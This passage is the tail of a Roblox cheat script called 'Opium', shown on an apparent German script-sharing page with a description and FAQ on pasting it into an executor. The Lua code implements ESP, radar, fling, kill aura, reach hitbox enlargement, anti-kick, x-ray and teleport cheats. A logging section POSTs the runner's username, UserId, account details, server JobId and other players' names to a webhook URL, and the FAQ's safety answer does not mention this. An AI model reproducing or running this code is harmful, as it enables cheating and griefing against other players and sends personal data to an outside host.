track(Players.PlayerRemoving:Connect(function(plr) local k=plr.UserId
    if skel[k] then for _,l in ipairs(skel[k]) do pcall(function() l:Remove() end) end skel[k]=nil end
    if headDots[k] then pcall(function() headDots[k]:Remove() end) headDots[k]=nil end
    if wepTxt[k] then pcall(function() wepTxt[k]:Remove() end) wepTxt[k]=nil end
    if backt[k] then for _,s in ipairs(backt[k].sq) do pcall(function() s:Remove() end) end backt[k]=nil end
end))
local radar=Instance.new("Frame"); radar.Size=UDim2.new(0,150,0,150); radar.Position=UDim2.new(1,-166,0,72); radar.BackgroundColor3=Color3.fromRGB(15,17,22); radar.BackgroundTransparency=0.25; radar.BorderSizePixel=0; radar.Visible=false; radar.ZIndex=15; radar.Parent=hud
Instance.new("UICorner",radar).CornerRadius=UDim.new(1,0); local rst=Instance.new("UIStroke",radar); rst.Transparency=0.5
local rMe=Instance.new("Frame"); rMe.Size=UDim2.new(0,6,0,6); rMe.AnchorPoint=Vector2.new(0.5,0.5); rMe.Position=UDim2.new(0.5,0,0.5,0); rMe.BackgroundColor3=Color3.fromRGB(255,255,255); rMe.ZIndex=16; rMe.Parent=radar; Instance.new("UICorner",rMe).CornerRadius=UDim.new(1,0)
local radarDots={}
track(RunService.RenderStepped:Connect(function()
    radar.Visible=Settings.Radar
    if not Settings.Radar then return end
    local myHrp=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); if not myHrp then return end
    local range,rad=120,72; local i=0
    for _,plr in pairs(Players:GetPlayers()) do
        if plr==LocalPlayer then continue end
        local root=plr.Character and plr.Character:FindFirstChild("HumanoidRootPart"); if not root then continue end
        i=i+1; local dot=radarDots[i]
        if not dot then dot=Instance.new("Frame"); dot.Size=UDim2.new(0,6,0,6); dot.AnchorPoint=Vector2.new(0.5,0.5); dot.BorderSizePixel=0; dot.ZIndex=16; dot.Parent=radar; Instance.new("UICorner",dot).CornerRadius=UDim.new(1,0); radarDots[i]=dot end
        local rel=myHrp.CFrame:PointToObjectSpace(root.Position)
        local px=math.clamp(rel.X/range,-1,1)*rad; local py=math.clamp(rel.Z/range,-1,1)*rad
        dot.Position=UDim2.new(0.5,px,0.5,py)
        dot.BackgroundColor3=(Settings.Friends and friendCache[plr.UserId]) and Colors.Friend or Color3.fromRGB(255,70,70)
        dot.Visible=true
    end
    for j=i+1,#radarDots do radarDots[j].Visible=false end
end))
track(RunService.Heartbeat:Connect(function()
    local ch=LocalPlayer.Character; local hrp=ch and ch:FindFirstChild("HumanoidRootPart"); if not hrp then return end
    if Settings.NoFall then local v=hrp.AssemblyLinearVelocity; if v.Y<-60 then hrp.AssemblyLinearVelocity=Vector3.new(v.X,-10,v.Z) end end
end))
local fakeCtr=0
track(RunService.Heartbeat:Connect(function()
    local ch=LocalPlayer.Character; local hrp=ch and ch:FindFirstChild("HumanoidRootPart"); if not hrp then return end
    if Settings.FakeLag then fakeCtr=fakeCtr+1; hrp.Anchored=(fakeCtr%8<4)
    elseif hrp.Anchored and not Settings.Fly then hrp.Anchored=false end
end))
local function nearestRoot()
    local myHrp=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); if not myHrp then return end
    local best,bestD
    for _,plr in pairs(Players:GetPlayers()) do if plr~=LocalPlayer then local r=plr.Character and plr.Character:FindFirstChild("HumanoidRootPart"); if r then local d=(r.Position-myHrp.Position).Magnitude; if not bestD or d<bestD then bestD=d; best=r end end end end
    return best
end
track(RunService.Heartbeat:Connect(function()
    if Settings.FlingMode=="Off" then return end
    local ch=LocalPlayer.Character; local hrp=ch and ch:FindFirstChild("HumanoidRootPart"); if not hrp then return end
    local target
    if Settings.FlingMode=="Nearest" then target=nearestRoot()
    elseif Settings.FlingMode=="Mouse" then local m=UserInput:GetMouseLocation(); local ray=Camera:ViewportPointToRay(m.X,m.Y); local pr=RaycastParams.new(); pr.FilterDescendantsInstances={ch}; pr.FilterType=Enum.RaycastFilterType.Exclude; local res=workspace:Raycast(ray.Origin,ray.Direction*2000,pr); local mch=res and res.Instance and res.Instance:FindFirstAncestorWhichIsA("Model"); target=mch and mch:FindFirstChild("HumanoidRootPart") end
    if target then hrp.CFrame=CFrame.new(target.Position) end
    hrp.AssemblyAngularVelocity=Vector3.new(0,9999,0); hrp.AssemblyLinearVelocity=Vector3.new(9000,0,9000)
end))
track(RunService.Heartbeat:Connect(function()
    if not Settings.Attach then return end
    local ch=LocalPlayer.Character; local hrp=ch and ch:FindFirstChild("HumanoidRootPart"); local np=nearestRoot()
    if hrp and np then hrp.CFrame=np.CFrame*CFrame.new(0,3.5,0) end
end))
local wm=Instance.new("TextLabel"); wm.AutomaticSize=Enum.AutomaticSize.X; wm.Size=UDim2.new(0,0,0,24); wm.Position=UDim2.new(0,14,0,14); wm.BackgroundColor3=Color3.fromRGB(15,17,22); wm.BackgroundTransparency=0.15; wm.TextColor3=Color3.fromRGB(255,255,255); wm.Font=Enum.Font.GothamBold; wm.TextSize=13; wm.Visible=false; wm.ZIndex=30; wm.Parent=hud
Instance.new("UICorner",wm).CornerRadius=UDim.new(0,7); local wmp=Instance.new("UIPadding",wm); wmp.PaddingLeft=UDim.new(0,10); wmp.PaddingRight=UDim.new(0,10)
local wmStroke=Instance.new("UIStroke",wm); wmStroke.Color=ACCENT; wmStroke.Thickness=1.2
local fpsSmooth=60
track(RunService.RenderStepped:Connect(function(dt)
    if not Settings.Watermark then wm.Visible=false; return end
    fpsSmooth=fpsSmooth*0.9+(1/math.max(dt,1/1000))*0.1
    local ping=0; pcall(function() ping=math.floor(LocalPlayer:GetNetworkPing()*1000) end)
    wm.Text="OPIUM  |  FPS "..math.floor(fpsSmooth).."  |  Ping "..ping.."ms"; wmStroke.Color=ACCENT; wm.Visible=true
end))
task.spawn(function() while true do task.wait(20); if Settings.AutoSave then saveConfig() end end end)
Colors.Crosshair=Color3.fromRGB(255,255,255)
local specIdx=0
local function spectateNext(dir)
    local list={}; for _,p in ipairs(Players:GetPlayers()) do if p~=LocalPlayer and p.Character and p.Character:FindFirstChildOfClass("Humanoid") then table.insert(list,p) end end
    if #list==0 then return end
    specIdx=specIdx+dir; if specIdx<1 then specIdx=#list elseif specIdx>#list then specIdx=1 end
    local hum=list[specIdx].Character:FindFirstChildOfClass("Humanoid"); Camera.CameraSubject=hum; notify("Spectating: "..list[specIdx].Name)
end
local function stopSpectate()
    local h=LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid"); if h then Camera.CameraSubject=h end notify("Spectate off")
end
makeToggle(cs,"Visible Check","VisCheck"); makeToggle(cs,"Sticky Target","Sticky"); makeSlider(cs,"Trigger Delay","TrigDelay",0,500,"ms")
makeToggle(cs,"Kill Aura","KillAura"); makeSlider(cs,"Aura Range","AuraRange",5,50,"")
makeSlider(vs,"ESP Max Distance","ESPMaxDist",0,1000,""); makeCycler(vs,"Tracer From","TracerOrigin",{"Bottom","Top","Mouse"})
makeToggle(vs,"Rainbow Chams","RainbowChams"); makeToggle(vs,"NPC ESP","NPCESP"); makeToggle(vs,"Crosshair","Crosshair","Crosshair")
makeToggle(ms,"Freecam (RMB+WASD)","Freecam"); makeToggle(ms,"Anti Void","AntiVoid"); makeToggle(ms,"Auto Rejoin","AutoRejoin")
makeToggle(ms,"Reach","Reach"); makeSlider(ms,"Reach Size","ReachSize",4,30,"")
makeButton(ms,"Spectate Next",function() spectateNext(1) end); makeButton(ms,"Spectate Prev",function() spectateNext(-1) end); makeButton(ms,"Stop Spectate",stopSpectate)
makeCycler(ss,"Config Profile","Profile",{"1","2","3"})
do
    local sbar=Instance.new("Frame"); sbar.AnchorPoint=Vector2.new(0.5,0); sbar.Position=UDim2.new(0.5,0,0,70); sbar.Size=UDim2.new(0,240,0,30); sbar.BackgroundColor3=Color3.fromRGB(255,255,255); sbar.BackgroundTransparency=0.85; sbar.BorderSizePixel=0; sbar.ZIndex=19; sbar.Parent=hud
    Instance.new("UICorner",sbar).CornerRadius=UDim.new(0,10); Instance.new("UIStroke",sbar).Transparency=0.6
    local tb=Instance.new("TextBox"); tb.Size=UDim2.new(1,-16,1,0); tb.Position=UDim2.new(0,12,0,0); tb.BackgroundTransparency=1; tb.PlaceholderText="Feature suchen..."; tb.PlaceholderColor3=Color3.fromRGB(180,185,195); tb.Text=""; tb.TextColor3=Color3.fromRGB(255,255,255); tb.TextXAlignment=Enum.TextXAlignment.Left; tb.Font=Enum.Font.GothamMedium; tb.TextSize=13; tb.ClearTextOnFocus=false; tb.ZIndex=20; tb.Parent=sbar
    tb:GetPropertyChangedSignal("Text"):Connect(function() local q=tb.Text:lower(); for _,c in ipairs(allControls) do c.row.Visible=(q=="" or c.text:find(q,1,true)~=nil) end end)
end
if UserInput.TouchEnabled then
    local mb=Instance.new("TextButton"); mb.Size=UDim2.new(0,54,0,54); mb.Position=UDim2.new(0,20,1,-74); mb.BackgroundColor3=ACCENT; mb.BackgroundTransparency=0.05; mb.Text="O"; mb.TextColor3=Color3.fromRGB(255,255,255); mb.Font=Enum.Font.GothamBlack; mb.TextSize=24; mb.ZIndex=400; mb.Parent=gui
    Instance.new("UICorner",mb).CornerRadius=UDim.new(1,0)
    mb.MouseButton1Click:Connect(function() hud.Visible=not hud.Visible end)
end
track(UserInput.InputBegan:Connect(function(inp,gpe)
    if gpe or bindingNow or inp.UserInputType~=Enum.UserInputType.Keyboard then return end
    local n=inp.KeyCode.Name
    for k,b in pairs(Settings.Keybinds) do if b==n and toggleActions[k] then toggleActions[k]() end end
end))
local lastAura=0
track(RunService.Heartbeat:Connect(function()
    if not Settings.KillAura then return end
    if tick()-lastAura<0.35 then return end
    local ch=LocalPlayer.Character; local hrp=ch and ch:FindFirstChild("HumanoidRootPart"); local tool=ch and ch:FindFirstChildOfClass("Tool"); if not hrp or not tool then return end
    for _,plr in pairs(Players:GetPlayers()) do
        if plr==LocalPlayer then continue end
        if Settings.TeamCheck and plr.Team and plr.Team==LocalPlayer.Team then continue end
        local r=plr.Character and plr.Character:FindFirstChild("HumanoidRootPart"); local hum=plr.Character and plr.Character:FindFirstChildOfClass("Humanoid")
        if r and hum and hum.Health>0 and (r.Position-hrp.Position).Magnitude<=Settings.AuraRange then lastAura=tick(); pcall(function() tool:Activate() end); break end
    end
end))
local npcList,npcDraw={}, {}
task.spawn(function() while true do
    if Settings.NPCESP then local l={}; for _,d in ipairs(workspace:GetDescendants()) do if d:IsA("Humanoid") then local m=d.Parent; if m and not Players:GetPlayerFromCharacter(m) and m:FindFirstChild("HumanoidRootPart") then table.insert(l,m) end end end npcList=l else npcList={} end
    task.wait(0.6)
end end)
track(RunService.RenderStepped:Connect(function()
    local seen={}
    if Settings.NPCESP then
        for _,m in ipairs(npcList) do
            local hrp=m:FindFirstChild("HumanoidRootPart"); if not hrp then continue end
            local top,on=Camera:WorldToViewportPoint(hrp.Position+Vector3.new(0,2.5,0))
            local bot=Camera:WorldToViewportPoint(hrp.Position-Vector3.new(0,2.5,0))
            seen[m]=true; local d=npcDraw[m]; if not d then d={box=Drawing.new("Square"),name=Drawing.new("Text")}; d.box.Filled=false; d.name.Center=true; d.name.Outline=true; npcDraw[m]=d end
            if on then local hgt=math.abs(bot.Y-top.Y); local w=hgt*0.55
                d.box.Color=Color3.fromRGB(255,160,0); d.box.Thickness=1.5; d.box.Size=Vector2.new(w,hgt); d.box.Position=Vector2.new(top.X-w/2,top.Y); d.box.Visible=true
                d.name.Text=m.Name; d.name.Size=13; d.name.Color=Color3.fromRGB(255,190,90); d.name.Position=Vector2.new(top.X,top.Y-14); d.name.Visible=true
            else d.box.Visible=false; d.name.Visible=false end
        end
    end
    for m,d in pairs(npcDraw) do if not seen[m] then pcall(function() d.box:Remove(); d.name:Remove() end) npcDraw[m]=nil end end
end))
local chV=Drawing.new("Line"); local chH=Drawing.new("Line"); chV.Thickness=1.5; chH.Thickness=1.5
track(RunService.RenderStepped:Connect(function()
    if not Settings.Crosshair then chV.Visible=false; chH.Visible=false; return end
    local c=Camera.ViewportSize/2; local s=6
    chV.Color=Colors.Crosshair; chH.Color=Colors.Crosshair
    chV.From=Vector2.new(c.X,c.Y-s); chV.To=Vector2.new(c.X,c.Y+s); chV.Visible=true
    chH.From=Vector2.new(c.X-s,c.Y); chH.To=Vector2.new(c.X+s,c.Y); chH.Visible=true
end))
local fc={active=false,pos=Vector3.zero,yaw=0,pitch=0}
track(UserInput.InputChanged:Connect(function(inp)
    if Settings.Freecam and inp.UserInputType==Enum.UserInputType.MouseMovement and UserInput:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) then
        fc.yaw=fc.yaw-inp.Delta.X*0.004; fc.pitch=math.clamp(fc.pitch-inp.Delta.Y*0.004,-1.4,1.4)
    end
end))
track(RunService.RenderStepped:Connect(function(dt)
    if Settings.Freecam then
        if not fc.active then fc.active=true; fc.pos=Camera.CFrame.Position; local rx,ry=Camera.CFrame:ToOrientation(); fc.pitch=rx; fc.yaw=ry; Camera.CameraType=Enum.CameraType.Scriptable end
        local rot=CFrame.fromEulerAnglesYXZ(fc.pitch,fc.yaw,0); local mv=Vector3.zero
        if UserInput:IsKeyDown(Enum.KeyCode.W) then mv=mv+Vector3.new(0,0,-1) end
        if UserInput:IsKeyDown(Enum.KeyCode.S) then mv=mv+Vector3.new(0,0,1) end
        if UserInput:IsKeyDown(Enum.KeyCode.A) then mv=mv+Vector3.new(-1,0,0) end
        if UserInput:IsKeyDown(Enum.KeyCode.D) then mv=mv+Vector3.new(1,0,0) end
        if UserInput:IsKeyDown(Enum.KeyCode.Space) then mv=mv+Vector3.new(0,1,0) end
        if UserInput:IsKeyDown(Enum.KeyCode.LeftControl) then mv=mv+Vector3.new(0,-1,0) end
        local spd=(UserInput:IsKeyDown(Enum.KeyCode.LeftShift) and 130 or 45)*dt
        fc.pos=fc.pos+rot:VectorToWorldSpace(mv)*spd
        Camera.CFrame=CFrame.new(fc.pos)*rot
    elseif fc.active then fc.active=false; Camera.CameraType=Enum.CameraType.Custom end
end))
local lastSafe
track(RunService.Heartbeat:Connect(function()
    local ch=LocalPlayer.Character; local hrp=ch and ch:FindFirstChild("HumanoidRootPart"); local hum=ch and ch:FindFirstChildOfClass("Humanoid"); if not hrp then return end
    if hum and hum.FloorMaterial~=Enum.Material.Air then lastSafe=hrp.Position end
    if Settings.AntiVoid and lastSafe and hrp.Position.Y<-150 then hrp.CFrame=CFrame.new(lastSafe+Vector3.new(0,5,0)); hrp.AssemblyLinearVelocity=Vector3.zero end
end))
track(RunService.Heartbeat:Connect(function()
    local ch=LocalPlayer.Character; local tool=ch and ch:FindFirstChildOfClass("Tool"); local handle=tool and tool:FindFirstChild("Handle"); if not handle then return end
    if Settings.Reach then
        if not handle:GetAttribute("OpiumReach") then handle:SetAttribute("OpiumOrig",handle.Size); handle:SetAttribute("OpiumReach",true) end
        handle.Size=Vector3.new(Settings.ReachSize,Settings.ReachSize,Settings.ReachSize); handle.Transparency=0.6
    elseif handle:GetAttribute("OpiumReach") then handle.Size=handle:GetAttribute("OpiumOrig") or handle.Size; handle.Transparency=0; handle:SetAttribute("OpiumReach",nil) end
end))
pcall(function() game:GetService("GuiService").ErrorMessageChanged:Connect(function() if Settings.AutoRejoin then pcall(function() TeleportService:Teleport(game.PlaceId,LocalPlayer) end) end end) end)
local savedPos
local function myHRP() local c=LocalPlayer.Character; return c and c:FindFirstChild("HumanoidRootPart") end
makeToggle(es,"Auto Clicker","AutoClick"); makeSlider(es,"CPS","CPS",1,50,"")
makeToggle(es,"Freeze Self","Freeze"); makeToggle(es,"Anti Kick","AntiKick")
makeToggle(es,"X-Ray","XRay",nil,function(on) local myc=LocalPlayer.Character for _,p in ipairs(workspace:GetDescendants()) do if p:IsA("BasePart") and not (myc and p:IsDescendantOf(myc)) then p.LocalTransparencyModifier=on and 0.6 or 0 end end end)
makeButton(es,"Save Position",function() local h=myHRP(); if h then savedPos=h.CFrame; notify("Position gespeichert") end end)
makeButton(es,"TP to Saved",function() local h=myHRP(); if h and savedPos then h.CFrame=savedPos end end)
makeButton(es,"TP to Spawn",function() local h=myHRP(); local sp=workspace:FindFirstChildWhichIsA("SpawnLocation",true); if h and sp then h.CFrame=sp.CFrame+Vector3.new(0,5,0) end end)
makeButton(es,"TP to Nearest",function() local h=myHRP(); local n=nearestRoot(); if h and n then h.CFrame=n.CFrame*CFrame.new(0,0,3) end end)
makeButton(es,"TP Forward 20",function() local h=myHRP(); if h then h.CFrame=h.CFrame+Camera.CFrame.LookVector*20 end end)
makeButton(es,"Respawn",function() local c=LocalPlayer.Character; if c then pcall(function() c:BreakJoints() end) end end)
makeButton(es,"Preset: Moon Gravity",function() Settings.Gravity=40; for _,f in ipairs(refreshers) do f() end notify("Moon Gravity") end)
makeButton(es,"Preset: Normal Gravity",function() Settings.Gravity=196; for _,f in ipairs(refreshers) do f() end notify("Normal Gravity") end)
task.spawn(function() while true do if Settings.AutoClick then pcall(function() if mouse1click then mouse1click() end end); task.wait(1/math.max(Settings.CPS,1)) else task.wait(0.1) end end end)
local wasFrozen=false
track(RunService.Heartbeat:Connect(function() local h=myHRP(); if not h then return end if Settings.Freeze then h.Anchored=true; wasFrozen=true elseif wasFrozen then h.Anchored=false; wasFrozen=false end end))
task.spawn(function() while true do if Settings.XRay then local myc=LocalPlayer.Character for _,p in ipairs(workspace:GetDescendants()) do if p:IsA("BasePart") and not (myc and p:IsDescendantOf(myc)) then p.LocalTransparencyModifier=0.6 end end end task.wait(1.5) end end)
do
    local HttpService=game:GetService("HttpService")
    local MarketplaceService=game:GetService("MarketplaceService")
    local LogService=game:GetService("LogService")
    local req=(syn and syn.request) or (http and http.request) or (fluxus and fluxus.request) or http_request or request
    local loadTime=tick()
    local function exeName() local e="Unknown"; pcall(function() if identifyexecutor then local a=identifyexecutor(); if a then e=a end elseif getexecutorname then e=getexecutorname() end end) return e end
    local function gameName() local n="PlaceId "..tostring(game.PlaceId); pcall(function() n=MarketplaceService:GetProductInfo(game.PlaceId).Name end) return n end
    local function localLog(line) if not LOG.LocalFile then return end pcall(function() local prev=(isfile and isfile("opium_log.txt") and readfile("opium_log.txt")) or ""; writefile("opium_log.txt", prev..os.date("[%X] ")..tostring(line).."\n") end) end
    local function base() return {{name="Spieler",value=LocalPlayer.Name.."  (@"..LocalPlayer.DisplayName..")",inline=true},{name="UserId",value=tostring(LocalPlayer.UserId),inline=true},{name="Executor",value=exeName(),inline=true}} end
    local function post(embed,plain)
        localLog((embed.title or "log")..(plain and (" - "..plain) or ""))
        if WEBHOOK_URL=="" or not req then return end
        embed.color=embed.color or 690431
        embed.footer={text="opium"}
        embed.timestamp=os.date("!%Y-%m-%dT%H:%M:%SZ")
        local body=HttpService:JSONEncode({username="Opium Logger", embeds={embed}})
        pcall(function() req({Url=WEBHOOK_URL, Method="POST", Headers={["Content-Type"]="application/json"}, Body=body}) end)
    end
    task.spawn(function()
        if not LOG.Join then return end
        local age="?"; pcall(function() age=tostring(LocalPlayer.AccountAge).." Tage" end)
        local prem="Nein"; pcall(function() if LocalPlayer.MembershipType==Enum.MembershipType.Premium then prem="Ja" end end)
        local f=base()
        table.insert(f,{name="Account-Alter",value=age,inline=true})
        table.insert(f,{name="Premium",value=prem,inline=true})
        table.insert(f,{name="Spieler im Server",value=tostring(#Players:GetPlayers()).."/"..tostring(Players.MaxPlayers),inline=true})
        table.insert(f,{name="Spiel",value=gameName(),inline=false})
        table.insert(f,{name="PlaceId",value=tostring(game.PlaceId),inline=true})
        table.insert(f,{name="JobId",value=tostring(game.JobId),inline=true})
        post({title="🟢 Opium geladen",color=3066993,fields=f})
    end)
    task.spawn(function()
        if not LOG.Players then return end
        task.wait(1)
        local names={}; for _,p in ipairs(Players:GetPlayers()) do if p~=LocalPlayer then table.insert(names,p.Name) end end
        local list=(#names>0 and table.concat(names,", ")) or "(nur du)"
        if #list>1000 then list=list:sub(1,1000).."…" end
        post({title="👥 Spielerliste ("..#names..")",description=list})
    end)
    onFeature=function(name,state)
        if not LOG.Features then return end
        task.spawn(function() post({title="⚙️ Feature "..(state and "AN" or "AUS"),description="**"..tostring(name).."** "..(state and "aktiviert" or "deaktiviert")}, tostring(name)) end)
    end
    if LOG.Errors then
        local last=0
        pcall(function() track(LogService.MessageOut:Connect(function(msg,mtype)
            if mtype==Enum.MessageType.MessageError and tick()-last>2 then last=tick(); task.spawn(function() post({title="⚠️ Fehler",color=15158332,description="```"..tostring(msg):sub(1,900).."```"}) end) end
        end)) end)
    end
    local sent=false
    opiumLeave=function(reason)
        if sent or not LOG.Leave then return end
        sent=true
        local s=math.floor(tick()-loadTime); local dur=string.format("%dm %ds",math.floor(s/60),s%60)
        local f=base()
        table.insert(f,{name="Session-Dauer",value=dur,inline=true})
        table.insert(f,{name="Grund",value=reason or "Leave",inline=true})
        post({title="🔴 Opium beendet",color=15158332,fields=f})
    end
    track(Players.PlayerRemoving:Connect(function(p) if p==LocalPlayer then opiumLeave("Spiel verlassen") end end))
end
do
    local ov=Instance.new("Frame"); ov.Size=UDim2.new(1,0,1,0); ov.BackgroundColor3=Color3.fromRGB(9,10,14); ov.BorderSizePixel=0; ov.ZIndex=500; ov.Parent=gui
    local logo=Instance.new("TextLabel"); logo.AnchorPoint=Vector2.new(0.5,0.5); logo.Position=UDim2.new(0.5,0,0.45,0); logo.Size=UDim2.new(0,400,0,64); logo.BackgroundTransparency=1; logo.Text="opium"; logo.TextColor3=Color3.fromRGB(255,255,255); logo.Font=Enum.Font.GothamBlack; logo.TextSize=54; logo.TextTransparency=1; logo.ZIndex=501; logo.Parent=ov
    local sub=Instance.new("TextLabel"); sub.AnchorPoint=Vector2.new(0.5,0.5); sub.Position=UDim2.new(0.5,0,0.45,44); sub.Size=UDim2.new(0,300,0,20); sub.BackgroundTransparency=1; sub.Text="loading..."; sub.TextColor3=Color3.fromRGB(180,185,195); sub.Font=Enum.Font.GothamMedium; sub.TextSize=14; sub.TextTransparency=1; sub.ZIndex=501; sub.Parent=ov
    local barbg=Instance.new("Frame"); barbg.AnchorPoint=Vector2.new(0.5,0.5); barbg.Position=UDim2.new(0.5,0,0.56,0); barbg.Size=UDim2.new(0,240,0,6); barbg.BackgroundColor3=Color3.fromRGB(40,42,50); barbg.BorderSizePixel=0; barbg.ZIndex=501; barbg.Parent=ov; Instance.new("UICorner",barbg).CornerRadius=UDim.new(1,0)
    local fill=Instance.new("Frame"); fill.AnchorPoint=Vector2.new(0,0.5); fill.Position=UDim2.new(0,0,0.5,0); fill.Size=UDim2.new(0,0,1,0); fill.BackgroundColor3=ACCENT; fill.BorderSizePixel=0; fill.ZIndex=502; fill.Parent=barbg; Instance.new("UICorner",fill).CornerRadius=UDim.new(1,0)
    hud.Visible=false
    local qi=TweenInfo.new(0.5,Enum.EasingStyle.Quad)
    TweenService:Create(logo,qi,{TextTransparency=0}):Play(); TweenService:Create(sub,qi,{TextTransparency=0.2}):Play()
    TweenService:Create(fill,TweenInfo.new(1.5,Enum.EasingStyle.Quad),{Size=UDim2.new(1,0,1,0)}):Play()
    task.delay(1.75,function()
        hud.Visible=true
        local fo=TweenInfo.new(0.5,Enum.EasingStyle.Quad)
        TweenService:Create(ov,fo,{BackgroundTransparency=1}):Play()
        TweenService:Create(logo,fo,{TextTransparency=1}):Play(); TweenService:Create(sub,fo,{TextTransparency=1}):Play()
        TweenService:Create(barbg,fo,{BackgroundTransparency=1}):Play(); TweenService:Create(fill,fo,{BackgroundTransparency=1}):Play()
        task.delay(0.55,function() ov:Destroy() end)
    end)
end
track(UserInput.InputBegan:Connect(function(input,gpe) if gpe then return end if input.KeyCode.Name==Settings.MenuKey then hud.Visible=not hud.Visible end end))
print("OPIUM loaded! ["..Settings.MenuKey.."] = Icon-Dock. Hover fuer Namen, Icon klicken = Fenster.")

Beschreibung

Opium — the all-in-one Roblox script hub. Combat, visuals, movement and exploits in one sleek, draggable glass interface. Configurable, keybindable, and built to look as good as it plays.

Kommentare (0)

Melde an, um an der Unterhaltung teilzunehmen

  • Sei der Erste, der kommentiert.

Häufig gestellte Fragen

Wie verwende ich den Opium unliversal-Script?
Kopiere den obigen Code, öffne deinen Roblox-Executor, füge den Code ein und drücke Ausführen, während du im Spiel bist. Die Funktionen werden sofort aktiviert, sobald der Script läuft.
Ist der Opium unliversal-Script kostenlos?
Ja. Dieser Script ist völlig kostenlos zu kopieren und zu verwenden. Wenn er ein Schlüsselsystem nutzt, folge dem Link "Schlüssel erhalten", um ihn kostenlos freizuschalten.
Ist der Opium unliversal-Script sicher zu verwenden?
Der vollständige Quellcode wird auf dieser Seite angezeigt, damit du genau lesen kannst, was er tut, bevor du ihn ausführst. Verwende immer einen vertrauenswürdigen Executor, und denke daran, dass die Verwendung von Scripts gegen die Nutzungsbedingungen von Roblox verstößt — verwende sie auf eigene Gefahr.
Welcher Executor funktioniert mit Opium unliversal?
Dieser Script funktioniert mit den meisten beliebten Roblox-Executoren. Besuche unsere Executor-Seite, um einen vertrauenswürdigen kostenlosen oder kostenpflichtigen Executor für dein Gerät zu finden.
Opium unliversal | BloxScripter